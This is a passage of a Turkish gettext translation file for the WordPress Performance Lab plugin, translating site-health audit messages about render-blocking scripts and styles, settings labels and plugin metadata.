msgid "The amount of %1$s blocking style (size: %2$s) is acceptable."
msgid_plural "The amount of %1$s blocking styles (size: %2$s) is acceptable."
msgstr[0] "%1$s engelleme stilinin miktarı (boyut: %2$s) kabul edilebilir."
msgstr[1] "%1$s engelleme stilinin miktarı (boyut: %2$s) kabul edilebilir."

#: includes/site-health/audit-autoloaded-options/helper.php:81
#: includes/site-health/audit-enqueued-assets/helper.php:202
msgid "More info about performance optimization"
msgstr "Performans optimizasyonu hakkında daha fazla bilgi"

#: includes/site-health/audit-enqueued-assets/helper.php:201
msgid "https://wordpress.org/support/article/optimization/"
msgstr "https://wordpress.org/support/article/optimization/"

#. translators: 1: Number of blocking scripts. 2. Scripts size.
#: includes/site-health/audit-enqueued-assets/helper.php:293
msgid "Your website has %1$s blocking script (size: %2$s). Try to reduce the number or to concatenate them."
msgid_plural "Your website has %1$s blocking scripts (size: %2$s). Try to reduce the number or to concatenate them."
msgstr[0] "Web sitenizde %1$s engelleme komut dosyası (boyut: %2$s) bulunmaktadır. Sayısını azaltmaya veya bunları birleştirmeye çalışın."
msgstr[1] "Web sitenizde %1$s engelleme komut dosyası (boyut: %2$s) bulunmaktadır. Sayısını azaltmaya veya bunları birleştirmeye çalışın."

#. translators: 1: Number of blocking styles. 2.Styles size.
#: includes/site-health/audit-enqueued-assets/helper.php:254
msgid "The amount of %1$s blocking script (size: %2$s) is acceptable."
msgid_plural "The amount of %1$s blocking scripts (size: %2$s) is acceptable."
msgstr[0] "%1$s engelleme komut dosyasının boyutu (%2$s) kabul edilebilir düzeydedir."
msgstr[1] "%1$s engelleme komut dosyasının boyutu (%2$s) kabul edilebilir düzeydedir."

#. translators: %s is the settings URL
#: includes/admin/load.php:324 includes/admin/plugins.php:595
#: includes/admin/plugin-activate-ajax.js:87
msgid "Settings"
msgstr "Ayarlar"

#: includes/admin/load.php:244
msgid "Settings > Performance"
msgstr "Ayarlar > Performans"

#: includes/admin/load.php:23
#: includes/site-health/audit-autoloaded-options/helper.php:33
#: includes/site-health/audit-enqueued-assets/helper.php:169
#: includes/site-health/avif-headers/helper.php:27
#: includes/site-health/avif-support/helper.php:27
#: includes/site-health/bfcache-compatibility-headers/helper.php:28
#: includes/site-health/effective-asset-cache-headers/helper.php:28
#: includes/site-health/webp-support/helper.php:27
msgid "Performance"
msgstr "Performans"

#. Author of the plugin
#: load.php
msgid "WordPress Performance Team"
msgstr "WordPress Performans Ekibi"

#. Description of the plugin
#: load.php
msgid "Performance plugin from the WordPress Performance Team, which is a collection of standalone performance features."
msgstr "Bağımsız performans özelliklerinden oluşan bir koleksiyon olan performans eklentisi, WordPress Performans Ekibi tarafından sunulur."

#. Plugin URI of the plugin
#: load.php
msgid "https://github.com/WordPress/performance"
msgstr "https://github.com/WordPress/performance"

#. Plugin Name of the plugin
#: load.php includes/admin/load.php:228
msgid "Performance Lab"
msgstr "Performans Laboratuvarı"

Hry